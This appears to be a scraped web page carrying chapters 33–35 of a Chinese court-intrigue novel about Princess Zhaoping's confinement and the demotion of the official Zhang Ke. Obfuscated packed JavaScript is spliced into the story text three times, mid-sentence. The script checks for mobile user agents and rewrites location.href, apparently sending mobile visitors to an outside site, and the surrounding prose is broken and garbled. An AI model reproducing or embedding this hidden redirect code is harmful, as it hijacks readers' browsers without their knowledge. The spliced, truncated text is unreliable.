l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16392923|183739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是皇帝对太子的处理。 不应该啊,她想。按照京兆府掌握的东西,她推测城中赌场背后之人一定是太子,刀疤脸和老板皆是人证,前日京兆府一群衙役查封了斜月阁,按说物证也能查出些什么,按照张可眼睛里揉不得沙子的为人,自然不会就此作罢。 除非,皇帝并不想惩治太子。 两人面对面坐下,宋庭玉尝了一口汤,像是想起什么,随口道:“曹文益要被问斩了。” 林徵鸣给她夹菜的动作一顿,又被他不动声色地遮掩过去,面上一副莫名其妙的样子,像是不知道她为什么突然提起这件事,道:“之前听说他被内侍省的人带走了,没想到这么快。今日提起,难道另有隐情?” 宋庭玉也不知道自己为什么突然想起这件事,只当是寻常说话,将自己心里那点微不足道的违和感压下,道:“他的案子不是由三法司审理的,是内侍省直接带走人定了罪,稀里糊涂扣了个勾结重臣的帽子。”她嗤笑一声:“曹文益没有这个胆子,也没有这个脑子。” 林徵鸣闻言,心下隐隐不快,冷嗤道:你同他也并没有多少往来吧,知人知面不知心,你如何知道他是真纨绔,还是扮猪吃虎的假纨绔?” 宋庭玉莫名其妙:“我怎么不知道,这不是大家都知道的事” 林徵鸣神色淡淡:“我就不知道,也没听说别人知道。” 管事陈伯见宋庭玉直接让书房用膳了,亲自送了香炉来。正巧被林徵鸣看见,他示意宋庭玉道:“你问问陈伯,看他知不知道?” 陈伯没听见他们在说什么,只是感觉两人的目光都投在了自己身上,莫名其妙地站在原地,不知道要干什么。 宋庭玉抬头看着陈伯,见他拿着香炉,手足无措地站在原地,挥手示意人无事,瞪了林徵鸣一眼:“什么乱七八糟的,你在玩什么文字游戏。” 林徵鸣心里不痛快,想:这可不是什么文字游戏,毕竟是前驸马呢。 宋庭玉不跟他拐弯抹角,直接道:“你可知道曹文益出事之前经常去斜月坊?” 林徵鸣面上一派平静:“知道,见过他。” 宋庭玉见他并没有否认,接着问:“那你也经常去?” 林徵鸣摇摇头:“没有经常,只去过三次。秦问竹走之前将随身携带的玉佩当了换路费,托我替他赎回来,我问了当铺,老板说玉佩已被人买走,我多番打听才知道是一个公子哥买了,又送给了斜月阁一个琴师,我去赎了回来。” “琴师?” 林徵鸣点点头:“斜月阁老板很有几分附庸风雅,请了人在茶楼中弹奏古琴,那人原先是个世家子,因家里人获罪才出来弹琴养家。” 宋庭玉一听是个男的,还弹古琴,立马不感兴趣了。京兆府在芷水中打捞了几日斜月坊那个跳河女子的尸身,结果并无所获,那女子弹奏的是琵琶。 她想了想,狐疑道:“斜月坊那个自尽的琴师,你可知道?” 林徵鸣思索片刻,道:“听说过,但没见过。她是斜月坊的头牌琴师,只在雅间为特定的客人弹奏,并不在大堂里。” 宋庭玉点点头,想着林徵鸣与曹文益并没有什么利益冲突,应该是不知道他的事的,于是作罢。 林徵鸣见她神色平静,不知在想些什么,心绪复杂。想来想去,还是觉得曹文益这样的败类,还是早日问斩了好。 33. 斥责 曹文益被问斩的事情闹得沸沸扬扬了几日,王都百姓茶余饭后议论纷纷,承安侯家先是丢了女儿,后又失了儿子,可谓老来逢难,令人唏嘘。只是同情和悲悯的情绪向来不会停留太久,没过几日,众人的目光再一次落到了昭平公主的身上:话说回来,昭平公主已经失了两位驸马了,先前那个被她一鞭子打跑,从此以后消失在王都城,这一个甚至连命都没有了。这为公主殿下,该不会是克夫吧? 关于女人的谣言总是传得格外迅速,如果这谣言再带上几分桃色,那就如长了翅膀一样,更加肆无忌惮了。 茶楼里,不少人正低声议论。 有人说昭平公主命不好,出生没多久就克死了亲娘,怪不得陛下要将她送到宫外,这万一克着了龙运,岂不是千古罪人? 有人立即反驳,陛下可是天子,自有神仙保佑,再说昭平公主若真的克夫,她身边那个颜色出众的年轻幕僚,怎么好端端的没事呢? 什么什么,昭平公主一个年纪轻轻的未嫁之女,还在府里养面首呢? 什么面首,是幕僚。 这话说的,什么幕僚,那都是遮羞布,孤男寡女的,谁知道在房里干出什么事来,我呸! 一个人朝着公主府的方向啐了一口,啐完,又偷偷摸摸四下看了看,见没有人注意到他,才松了一口气,继续摆出一副傲然的神色道:“这等不守妇道的女人,陛下就不应该给她选什么驸马,就该发配做姑子去,常伴青灯古佛,好约束约束性子。” “你!”靠窗的座位上,一个书生打扮的人面露不忿,眼看着就要站起来争辩。他身边一个同样打扮的人急忙按下他,劝道:“哎哎哎,蒋兄蒋兄,你冷静些,我们不日就要入场了,可万万不能在此时惹出是非来!” “可你看看,他们都是怎么编排殿下的!”蒋姓书生虽然被人按到了座位上,只是依然神色愤愤,仿佛下一秒就要冲上去和人打一架。 几人皆是一副书生打扮,原来正是清雅集会中博得头彩的几个人,如今他们住在宋庭玉城外的庄子里,正准备即将到来的会试。那个打抱不平的男子,正是蒋荣。 “不过是几个无知之徒背后嚼舌根子罢了,哪里晓得昭平殿下的为人,蒋兄,你可不能同他们一般见识,万一给殿下惹出事端来,我们可就罪过大了!” 他这样一说,蒋荣被愤怒冲昏的头脑登时清醒,是啊,殿下对我恩重如山,我可不能给殿下惹麻烦。只是那几个人说话实在难听,他闷闷不乐地坐在一边,连饭也不吃了。 同坐的几个人对视一眼。他们几个都是从外地赶来王都参加会试的书生,家里没有根基,无法像其他学子一样提前拜入考官门下获得青睐,或是参加世家举办的诗会为自己谋一条出路,只能闷着头背书,只期日后能在科场上一鸣惊人,改变自己的命运。是昭平公主给了他们另一个出头的机会,专门为他们这些寒门士子举办了诗会,又请了当世大儒作讲评,几日之间无论是学问还是对朝廷的了解,都突飞猛进。几人对昭平公主一腔感激之情。公主殿下学识过人,又不拘家世,对他们有提携之恩,叫他们如何能听得下去如此编排?只是如今势单力薄,草率出头,不过是给公主惹麻烦罢了。 其中一人道:“世情冷暖,实在是令人心寒。前些日子,还有人称殿下为玉昭娘娘,为了自家孩儿能一举高中,还为殿下立了生祠烧香哩!如今……唉!” “你们也别灰心,我看满嘴胡诌的人毕竟是少数,殿下的为人自有天地可鉴,所谓日久见人心,到时他们自会明白。” 蒋荣无力地笑了笑,只是自知势单力薄,终究无法为她做些什么。他想起那日在庄子外一见惊鸿的身影,更加下定决心:定要一朝得中,以报殿下知遇之恩。 民间的谣言暂且只是谣言,过了几日就会被人忘记,只是到了朝堂之上,这些都会被当做攻击宋庭玉的靶子。 “陛下,近日王都之中流言四起,言昭平公主行止不端,德行有亏,先是当街鞭打驸马,后又频频惹出事端,实难为天下女子表率。望陛下下旨,加以约束。” 难得一次的大朝会,诸事议毕,杜修闻颤颤巍巍站出来,率先发难。 “杜大人慎言,那孙见章不过一介白衣,攀扯皇家公主被斥责也是合情合理,哪里称得上是驸马?此事已有定论,哪有如今再翻出来的道理?”吴文新并不回头看他,淡淡反驳,看上去只是随口一说。 杜修闻顿了顿,又道:“即使此时不议,那干预朝政之事又作何解释呢?自古以来岂有公主干政的道理啊?” 吴文新余光瞟他一眼,并不说话。宋庭玉批阅奏折一事六部众人皆心知肚明,只是此事乃陛下亲口允准,不然给宋庭玉一百个胆子,她也不敢擅专,既然是陛下的意思,那此时在朝堂上翻出,岂不是打了皇帝自己的脸? 果然,景元帝脸色一沉,冷冷看着杜修闻,并不言语。近些日子,他对太子实是失望至极,原以为他只是做事情头脑不清,想着安排几个得力的人辅佐一二,恐怕也能弥补几分。只是没想到他羽翼未丰,却打起了自己的主意。虽然只是一个女人,可日后呢?是不是还要图谋自己的皇位? 景元帝亲政已有三十余载,立了太子也已经快二十年,虽然他自认还年富力强,只是难免心头怀疑:是不是他太子做得久了,盼着顶替朕?如今朕膝下唯有太子一个儿子,他是不是就捏准了这一点,所以肆意妄为,连朕都不放在眼里了? 越想越心惊,对太子一派的人就越是不满。此时看着杜修闻明里暗里指责自己不该偏宠宋庭玉,心里更是恼怒:你们几个非但不对太子多加规劝,反而纵容他肆意行事,是不是已经悄悄站在了太子身后,忘了此时坐在这个位置上的人是谁? 想到这里,他呵斥一声:“胡言乱语!朕的朝堂何时竟成了市井街头之处,朕的肱骨大臣竟如街头巷尾碎嘴扯谎的闲人一般!” 众人皆惊,纷纷躬身行礼:“陛下恕罪!” 景元帝恨恨地看着满头白发、战战兢兢的杜修闻,冷哼一声道:“太师年纪大了,难免有不周到之处。朕将太子托付于你,你就是这样教导朕的儿子的?!” 杜修闻双手一颤,连忙跪地伏身道:“臣有罪,请陛下责罚。” 景元帝沉默着,在这并不算长的沉默中,杜修闻额头渗出冷汗。太子被禁足,他们几个站在太子身后的人无疑紧张万分,虽然陛下并未表态,可显然是已经知道了太子以赌局为饵、暗中勾结大臣一事,隐而不发,恐怕也只是因为膝下空虚,不得不保全太子。这恰恰是他们最有把握的事情。 只要陛下无法废掉太子,他们就还有希望。 为今之计,就是尽快扫清昭平公主这个障碍。 他们原本以为,不过一个公主,陛下无论如何也不会过于容忍,只要揪出几个错处,就能彻底令其翻不了身。只是没想到,陛下不知出于什么原因,竟对王都里的流言蜚语充耳不闻,还一意孤行命其议政,眼见着她的势力越来越大,他们愈发不安。如今杜修闻的突然发难,不过是几方商议的结果。 只是,没等到他们附和,陛下就已经率先责难了杜修闻。 他们远远没有预料到景元帝的不满已经在积蓄,尤其是近日在姜缮的调理下,他的身体愈发硬朗,让他起了废立的念头。 只不过一瞬之后,这个念头被他暂时压下。 “传朕旨意:乾坤之道,在于新故相推;朝廷之治,贵乎老幼协和。吏部尚书、太子太傅杜修闻,历事三纪,宣劳岁久,朕心念之。然尔年逾古稀,精力衰微,庭前奏对,多有倦色。今授光禄大夫致仕,赐黄金百两,白玉如意一柄,以彰嘉奖。杜爱卿,你年纪大了,朕念你教养太子兢兢业业,不敢一日懈怠,太子的事就不追究了,你也好好歇歇吧!” 杜修闻惊惶抬头:“陛下!陛下!老臣……老臣……”他哽咽片刻,却也一时语塞,能舌战群儒、出口成章的杜太傅,如今被景元帝突如其来的旨意堵得一句话也说不出来。 太子一派的官员自然未曾料到如今的局面,只是皇帝旨意已下,断无再收回的意思,他们就算再不想杜修闻此刻隐退,也无能为力。聪明的人知道景元帝是借题发挥,不满他放任太子结党营私,只是又不能直接点明,故而方有此举。他们若是再多言几句,恐怕下场不会比杜修闻好。于是纷纷低下头,一句话也不敢说,只留杜修闻一人茫然跪在殿中,百般滋味郁结于胸。 退朝后,景元帝将宋庭玉叫去了御书房。 她跪在书房中央已经一炷香的时间,可景元帝迟迟没有叫她起身的意思。 宋庭玉神色暗了暗,她已经知道今日早朝发生的事情,自然知道太子一派以王都流言攻讦于她。只是流言毕竟只是流言,难道景元帝还会为此处置她不成? “昭平,你可知罪?” 宋庭玉心里一紧,思索片刻,斟酌道:“近日儿臣于文渊阁读书,未曾进宫协理折子,想来,应是……儿臣愚钝,望父皇教诲。” 景元帝冷笑:“你不知?朕看你是清楚得很啊!你自己看!” 说着,一封奏折劈头盖脸砸到了宋庭玉身上。 她连忙捡起来,还没打开,自己先提着一口气,实在不知究竟是怎样的一封奏章才会引起景元帝的大怒,而且如果是对她不利的奏折,难道不应该被拦在右相处?为何能出现在他的桌前? 不过几个呼吸的功夫,宋庭玉已经在脑海里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399069|183739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做出了无数个预设,暗暗吸了口气,才打开细细看,半晌,悬着的心终于落到了地上。 奏折来自御史台的官员,惨她行止不端,豢养男宠,非有德行之女;结交寒门书生,呼朋引伴、往来游乐,影响极差。 宋庭玉舒了口气,一目十行将奏折看完,默默行礼,并不说话,但已摆出一个认错的动作,低着头,仿佛等着皇帝的责罚。 她若争辩两句,景元帝反倒能借题发挥斥责一番,她如今老老实实跪着,到让他不知如何是好了。只叹了口气道:“朕知道,曹家的小子出了这样的丑事,你心生不满,此事也怪朕这个做父亲的没有替你擦亮眼睛。只是庭玉,你是皇家的公主,万事都要以皇家的脸面为重,万万不可行事散漫自专!如今让人抓住了把柄,你让朕还如何替你遮掩?” 宋庭玉低声道:“儿臣知错。” 景元帝冷哼一声:“你们一个个的,皆让朕不省心。罢了,你日后低调些吧,今日回去就不要再出门了,就在你那府里好好待着吧!现在,过来给朕磨墨。” 宋庭玉起身称是,心道:软禁而已,说得那么冠冕堂皇。 宋庭玉并不在乎曹文益的结局,虽说她对皇帝发了这么大火十分惊讶,并不认为景元帝是在为自己出气,可总的来说,曹文益也是罪有应得 她更在乎的,是景元帝对太子的处理。在姜缮的调理下,景元帝的身体日渐好转,甚至有了大选秀女的意向,此时,一个勾结朝臣、心怀不轨的太子,还会被容忍多久?然而事与愿违的是,景元帝对张可的奏折没有多余的反应,这让宋庭玉十分失望。好在今日早朝,他令杜修闻告老还乡,也算是对太子党羽的修理和警告,只是远远没有达到宋庭玉的预期。 她不动声色地研磨,低眉敛目,一副乖顺至极的样子。 "啪!"景元帝将一本奏折扔在桌上,含怒道:"这个张可,简直是迂腐至极!" 宋庭玉动作一顿,不解地抬头,目光一动,瞥到桌上的折子,心下了然。张可任京兆府尹多年,为人刚直,有案必查,从不徇私枉法,在王都中素有铁面之称。只是这份刚直到了景元帝眼里就是不求变通,故而这么多年,尽管破获旧案大案无数,依旧不得升迁。 想必这份奏折里写的,就是请求皇帝彻查绿歌坊豪赌背后的推手,而这推手是谁,他和景元帝都心知肚明,无非就是他愿不愿意保下幕后之人 他靠在椅背上,捏了捏鼻梁,尽管沉默不语,但不快之意已然无法掩盖。 宋庭玉心道可惜,面上不动声色 半晌,景元帝淡淡开口:"拟旨。" "朕临御万方,夙夜惕厉,惟思举贤任能,共襄至治。然京兆府尹张可,不敬君父,屡逆联意,廷争面折,罔顾大体,专恃刚愎,伤君之和。宜徙远地,以思己过。贬为涿州知州.即日赴任。" "父皇!"宋庭玉执笔撰写,越听越不对劲,起身跪地道;"父皇,张大人刚正不阿,在京兆尹为官多年,夙夜忧虑,神断积案、难案,在民间素有清名。如今屡次三番进言,皆出公心,毫无私情,父皇三思啊。 "大胆!你是说他屡屡违逆圣意,皆是朕的不是了?" "儿臣不敢。"宋庭玉低头:"只是张大人一心为公,即便是与父皇有意见相左之处,其灼灼赤心亦皆出有因,父皇训斥几句就是了,何必将人贬去那么远的地方?” "放肆!"景元帝勃然大怒,将手边的折子狠狠砸下,摔在宋庭玉头上。 她没有躲闪,额头很快出现一片红印。 景元帝看她一脸不服气,跪在地上毫不悔改的样子,透过她,忽然看到了那个倔强的女人。宁思沅,即便是入了宫,成了自己的妃子,依旧高高在上、横眉冷对,皇帝的无上恩宠在她眼里仿佛是什么不屑一顾的脏东西,简直无法无天! 想到这里,自宋庭玉受封以来,景元帝对她的一腔慈爱之心突然变成了被忤逆的恼恨,对死去贞妃的愧疚也化作一生不被真心顺从的羞怒,冷冷道:"昭平,朕允你进文渊阁听政、在御书房伴驾,是对你的信任和恩宠,谁知你丝毫不觉愧受惶恐,严于律己,反面恃宠面骄、不求上进,豢养男宠言行失矩,丢尽了皇家的脸面,如今更是将手都伸到朕的家国大事上来了!你还要轻狂到什么地步!" 他越说越气,猛一挥手,桌上的奏章散落一地。 宋庭玉惊慌不已,哪里还有方才进言时的气,惶惑嗫嘴;"父皇……" 景元帝却不愿再看她,厌恶道:"你行止逾矩,有失德行,朕念你从前孝心至纯,不再过多追究。你回自己的府上,闭门思过去吧!" "父皇!"宋庭玉眼里含泪,可是景元帝却不再看她。 34. 失望 宫里的任何风吹草动在别有用心的人眼里,都不会是秘密。到了傍晚,吴文新果然从小门进了公主府。 他还是穿着一身黑衣,戴着兜帽,背脊挺直。这些年来,除了在贞妃的灵位前,宋庭玉从未看见他有任何过多的情绪,不负他"冷面承相"的称号。 只是今日,吴文新的动作却难得有些急躁。 忍冬引着他进了书房,又要出去奉茶,吴文新伸手制止了她,示意她出去。 忍冬动作一顿,见宋庭玉颔首,行了个礼,退着出了门。 听到房门关上的声音后,吴文新才一把将兜帽扯下,急道:"殿下做了什么?为何今日陛下在御书房发了那么大的火?" 宋庭玉倒是十分淡定,端起面前的茶浅呷一口,才不紧不慢道:"没什么,只是陛下要将张可大人贬谪去地方,本宫看不过眼,说了几句罢了。" "殿下糊涂!那张可不过是个寒州来的孤臣,起起落落皆掌于陛下一人之手,殿下何必赌上自己为他说话!"吴文新难得有些气急败坏:"殿下走到今天这步付出了多少心血,如今陛下一道旨意禁了足,何时才能重返朝堂?太子一派因绿歌赌坊一事受了打击,杜修闻执掌吏部十余年,如今一朝被免,正是我们乘胜追击的好时候!殿下此番,实在是意气用事、自断臂膀!" 宋庭玉沉默着,从吴文新的这番话验证了她的几个猜测。第一,他并不知道自己暗中与张可往来一事,或许是对他自己过于自信,他根本想不到宋庭玉在朝堂上还会用其他人达到目的。太子利用绿歌赌坊私自笼络重臣,以赌局牌桌设下天罗地网。元夏严禁官员赌博,官途在前、巨额赌债在后,不怕对方不为他说话。如此环环相扣的棋局,被一件县主绑架事件引出,吴文新虽没预料到,却也乐见其成。他隔岸观火,看张可与太子相斗,与景元帝保下太子的决心相斗,无论哪一方胜利,于他都不会有损失,他只需袖手旁观,便可坐享其成。 第二,他的目的是针对太子。一直以来,宋庭玉都很疑惑,吴文新作为堂堂中书令、当朝右相,一人之下万人之上的位置,为何偏偏对她这个不受宠的公主照拂有加?若说仅凭对贞妃的一往情深,她总觉得不够有说服力。果然,吴文新明知曹文益是什么样的人,还属意让自己与他成婚,无非是为了拉拢新生世家和颖贵妃的势力,对付太子背后的旧世家,只是没想到曹家的颓败来得如此迅速。 想通这一点后,宋庭玉有种不出所料的如释重负,不会有人无缘无故地对她好,如今悬在头顶的刀终于落了下来,至少让她知道,这柄刀将会在未来某个时刻刺向她,如此便可早做防备。 于是,她故意在景元帝面前失态进言,就是要退出这被人控制的局面,为自己争取一个脱身而出的时间。 只是,毕竟吴文新此时依然权势滔天,且太子一派的确是她要对付的势力…… 想到这里,她惨然一笑,低头认错:"是学生鲁莽了。学生也是看张可大人的折子是为了让陛下继续查绿歌赌坊一案,可陛下有强压不表的意思,为了尽快铲除太子的势力,这才……" 果然,吴文新的脸色缓和些许,对宋庭玉这个学生的聪慧显然是满意的,只是偶尔有些出格之举,也可以称是年少轻狂吧。 他缓声道:"陛下年事已高,膝下只有太子一个嫡子,虽近日大办选秀,可即使有小皇子出生,待他长成,已经是不知多少年之后的事情了。殿下虽欲针对太子,可此时还需从长计议。" "老师说的是,学生知错了。" 她低眉顺目,难得有几分年幼时的状态,吴文新满意地点了点头,心头一闪而过的违和被他忽略,整个人又恢复到之前波澜不惊的样子,与她叙起朝堂上的事来。 "陛下虽未追究太子,可朝堂上的一众官员还是受到了惩治,被贬官、被下狱的就有十几人,户部的官员几乎被清洗了一遍。" "户部……"宋庭玉沉吟:"前日太子代父皇去静和观敬香祈福,几位户部官员随同前往,原来不是进香,而是打牌去了。" 吴文新冷斥:"一群蠢虫罢了。"他顿了顿,难得缓和了语气:"殿下如今被禁足府中,万万不可垂头丧气失了心气儿,日后还有机会。曹家的小子不顶事,逼你与他成婚,是臣想的不周到了。待日后时机合适,臣再为殿下觅得良人。"他看着灯下宋庭玉的侧脸,眼尾的红痣如一扇开启回忆的门,让他不自觉沉湎其中,变得不像他。 他低声喃喃:"若沅娘见到殿下有一个好的归宿,想必也会为殿下欣慰的吧。" 宋庭玉知道,他不会轻易打消利用自己拉拢世家的念头,不会是曹家,也会是李家、杜家,自己要尽快想一个一劳永逸的办法了。此时只是垂眸,恭顺道:"但凭先生安排。"两人正一派师徒和睦、其乐融融的样子,宋庭玉难得配合,吴文新也愿意多说几句,他单方面认为两人之间的裂痕被修补如初时,门外响起了敲门声。 "咚咚。" 宋庭玉还未答话,那甚是敷衍的敲门声就停了,紧接着,一只手推开了书房的大门,不等里面的人反应,已经站在了屋子里,还转身关上了门。 "殿下,我来给你送些吃的……" 林徵鸣动作一顿,愣在原地。 吴文新在听到敲门声时就已经飞快地反手扯过兜帽,只是还没戴上,对方已经快速地推门而入,猝不及防地与他对上了眼。他一手僵硬在半空中,戴也不是,不戴也不是,尴尬地清了清嗓子,放下了手,只觉方才一阵谈心压下去的心火又蓬勃欲出:这么晚了,他来做什么?而且,书房重地,怎么能让这种人随意出人?! 他偏过头,对宋庭玉怒目而视,希望她能像方才一样感受到自己的不满,然后将这个不知所谓、身份成谜的男人赶出公主府。 谁知,宋庭玉方才的乖顺就像是一个幻觉,她仿佛又回到了以前那种一意孤行的状态,看着林徵鸣,虽不说话,可眼里分明带了笑意。 吴文新浑身一僵,被她的眼神弄得起了一身鸡皮疙瘩,心中暗骂:感情用事,不成大器! 他愤然起身,一甩袖子道:"我走了,殿下好自为之!" 宋庭玉仿佛如梦初醒般地,急急忙忙站起身行礼道:"先生……好吧,先生慢走。" 吴文新一见她那样子,更是气不打一处来,没想到她连嘴上的挽留都懒得做样子,这个小白脸一来,忙不迭地赶自己走!气上心头,暗道:给昭平寻个新驸马的事要加快了,一定要把这个以色令她智 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409185|183739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昏的狐狸精赶出去! 听到吴文新的脚步声越来越远,宋庭玉终于收起了脸上神色,看着他手上的食盒,皱眉:"本宫不吃宵夜。" 尽管荣安县主的事已经水落石出,他有所隐瞒的事情仿佛已经过去,可林徵鸣知道宋庭玉的执着,对任何一件她想要查清楚的事情,不到真相大白,就绝不会罢休。 他将食盒放在桌上,将里面的东西拿了出来,是一碗热气腾腾的小馄饨。 "晚膳用得不多,这几日又劳神思虑,不停蹄的苦学、谋算、设局,为了过去经年的仇恨,也为了宁家剩余人的未来。所以,即使她年纪轻轻就已被病痛困扰,也无人敢多劝,毕竟,那可是为他们遮风挡雨的公主殿下,她永远是强大的、不会被打倒的。 就如被指婚、被禁足,他们都理所当然地觉得她一定会有万全的应对之法,起起落落皆是常事,所以从不认为她也会赶到失望和伤感。 可林徵鸣不一样,他会强硬地、一次次地提醒她,你也是一个肉体凡胎的普通人,既然是人,就会痛、会受伤、会难过,即使他嘴上并不说,但他一次次的陪伴无疑是一种无声的安慰。 就像此次,宋庭玉即便知道吴文新一定不会是一个感情至上的人,可依旧不免为他的凉薄感到失落,她再一次清晰地认识到,即使是陪伴自己长大的人,也会在利益面前,将自己视为一个趁手的工具,一旦不合心了,便要打磨、修整,直到自己变成他们想要的样子。然发自内心的想笑。 她以为自己会因为吴文新的背叛而偷偷难过很久,没想到,当林徵鸣出现的时候,她突 为吴文新的吃瘪,也为一些她现在无法言明的情绪。 说来奇怪,明明林徵鸣才是那个明晃晃对自己有所隐瞒、还拒绝坦白的人,她怎么会从这样一个人身上感到从未体会过的安全? 她心头思绪万千,却只是化作一口清淡温暖的馄饨汤,顺着喉咙下去,暖意直到胃里,然后温暖了四肢百骸。 林徵鸣见她脸色不好,猜测可能是与吴文新有关。宋庭玉的老师是当朝右相,一开始得知这个消息的时候他也震惊不已,不过这也解释了宋庭玉为何拥有远超于这个年龄的谋略和胆识,除了天资聪颖外,恐怕与吴文新的教导也是分不开的。 按理说,有了吴文新的助力,她不会面临如这几日般一个又一个艰难的局面,想必是与他闹了什么不快,吴文新想要长久地控制住她,所以以这种方式令她意识到,不顺着他的意思来,将会失去她所拥有的一切。 林徵鸣冷笑一声:他可不认为宋庭玉能走到今天,靠的都是吴文新的扶持,她不是养在金笼中的雀,而是羽翼未丰、静待时机的鹰,只等东风一至,便能长空万里,任其翱翔。 他垂下眸子,凄然地想:不知那时候,她还会不会让自己陪在她身边。 "你伤感什么呢?"宋庭玉皱眉:"本宫近日没逼你做什么吧。" 林徵鸣摇摇头,半晌抬起头问:"如果,我是说如果,有人欺骗或者背叛过你,你还会原谅他,给他一次机会吗?" 宋庭玉全然沉浸在自己乱七八糟的思绪里,根本没听出他这话的潜意思,冷笑一声:"背叛本宫的人,再本宫眼里,与死人无异。" 35. 送别 自从那晚的谈话之后,林徵鸣像是彻断绝了吐露真相的心思,脸上再也没有了那副欲言又止的神色,只是宋庭玉能感觉到,他总是在暗处默默地看着自己,思绪翻涌,不知在想什么,当自己看过去的时候,他又很快地将视线移开,让人难以捉摸。 几日之后,宋庭玉像是终于放弃了探究他的心事,又或者是想通即使是说清楚一件事情的来龙去脉,也需要天时地利人和,时机不对,即便是她再想探究,也终是枉然。于是,二人之间又恢复到了从前那种平静自然的相处状态,林徵鸣也像是终于松了一口气,不再躲躲闪闪,能正常同她说话了。 一早,宋庭玉进屋换了一身轻便骑装出来,手里拿着一个包裹,走进花园时忍冬又递给她一个幕篱。 天气晴好,林徵鸣正帮着陈伯将书房里的书本搬出来晾晒,陈旧的古籍摆了一院子,花园里弥漫着淡淡的墨香。他抬起头,见她准备出门,忙问:“殿下这是去哪?” 宋庭玉将幕篱戴在头上:“城外。” 林徵鸣放下手中的书,追上来打问:“不是最近不能出门吗?” 宋庭玉莫名其妙看他一眼:“自然不是从正门出去,虽说是在府中思过,到底没有禁足的圣旨,只要从后山偷偷摸摸溜出去不就行了?” 林徵鸣放下拍了拍身上的灰尘:“好几日没出府了,我陪殿下一起去吧。” 宋庭玉翻了个白眼:“你知道本宫去做什么吗,就要跟着去?” 林徵鸣嬉皮笑脸地贴过来,低声道:“就是不知道殿下去哪里,才要跟着去,不管殿下去哪里,我都会跟着殿下的。” 他这话说的似乎有些别的意味,只是宋庭玉的心思根本没往这上面放,随口咕哝几句:“你若想的话,跟着就是了。” 林徵鸣叹了口气,跟在她后面,暗道自己这真是媚眼抛给瞎子看。 她站在原地整理遮在自己眼前的面纱,回头时就看见林徵鸣已经牵了两匹马出来,宋庭玉的灵晔在他手里,显得十分乖巧。 宋庭玉幼学骑射,虽生长在皇城,但并不比马背上长大的人骑射功夫差,她的这匹爱马是她舅舅宁思清专门托人给外甥女送回来的,有塞外野马的血统,聪慧灵敏,擅长奔袭与跳跃,性格极其高傲古怪。 宁思远派人送来时,它还是小马驹,但已经展现出了非凡的踢人天赋,脾气倔强,谁都不让近身,宋庭玉花了不少时间和精力让它认下她这个主人。小马驹浑身乌黑发亮,跑动起来时鬃毛泛着淡淡的鎏金,宋庭玉给它取名灵晔。 长大后的灵晔性子稳重了许多,对平时喂养它的马夫和气不少,但对旁人还是一样不愿搭理。这会儿林徵鸣牵着它,它却并没有表现出反感的样子。 宋庭玉挑挑眉,心道:他在府中倒是混的十分不错,别说是人,连马儿竟都被他收买了。 既然林徵鸣说了要去,宋庭玉也并没有什么阻拦的理由,两人出了城,并辔齐驱。 两人一路前行,到了城外不远的一处六角亭,宋庭玉下了马,将墨沙牵到旁边树林里的隐秘处,从马背上取下包裹 林徵鸣同她一起,从她手中要过包裹拿在手里,掂了掂,分量不轻,看了一眼身后的六角亭,问:"是来送什么人吗?" 宋庭玉笑他:"我出门做什么你都不知道,怎么还要跟着来?" 林徵鸣正色道:"正是不知道才要跟来的,当然若是知道了那就更要跟上。" 宋庭玉饶有兴致地问:"什么时候都跟着? "那是自然。"他心想:跟得这么近,身边已经出现了两个未婚驸马,若是再不跟紧些,只怕未婚就要变成已婚的驸马了 宋庭玉还要回嘴,就听城门里传来马车行走的轱辘声,林徵鸣示意她回头看。宋庭玉远远望了片刻,见只有一辆青布马车,装饰简陋,车夫也上了年纪,不由微微皱眉。她走向路中间、车夫远远就看见两个衣着华贵的人站在路边,急忙停了车。 "什么事?"车里传来一个低沉的声音。 车夫支支吾吾间,宋庭玉已经带着林徵鸣走到了马车跟前,她朗声道:"张大人,此去一别。蓬山万里,何不下车一叙啊。"车帘倏地掀开,出现张可那张消瘦的脸。他跳下马车,站在车边愣愣地看着宋庭玉,心中百感交集,说不出话,眼睛蓦然红了 在王都做了十余年官,张可自认问心无愧,上对得起天子重托,下对得起百姓期盼,兢兢业业、如履薄冰,生怕有一丝一毫懈怠。他知道自己性格耿直,在京中不受人欢迎,但他一心为圣上,在涉斜月阁一案上即使有些执着,也绝无私,一国储君,犯下大错,自该受到惩处。只是景元帝已经不是早年间那个赏罚分明,杀伐决断的君主,年事已高、常年修道让他也渐渐变得昏聩、变得犹豫不决起来 罢了,人家毕竟是父子,这天下是皇家的天下,他一介无依无靠的孤臣,又能怎么样呢?可离开王都时心灰意冷,遥望渐渐远去的皇城,想的是自己此生恐怕再也不会回来了。门庭冷落、车马孤单,以为自己鞠躬尽瘁十余年,就要这样灰溜溜地离开,没想到城门外还有人记得他,还有皇室中人愿意来送送他 张可胸中像堵了一块大石头,憋得他鼻头酸涩,呼气不畅,万般情绪梗在胸中,只化作深深一揖。 宋庭玉叹了口气,上前扶起他,把着他紧紧握着拳的双手,温声道:"大人一腔赤诚之心.本宫和百姓都记在心里。起落未知,来日方长,大人要向前看。" 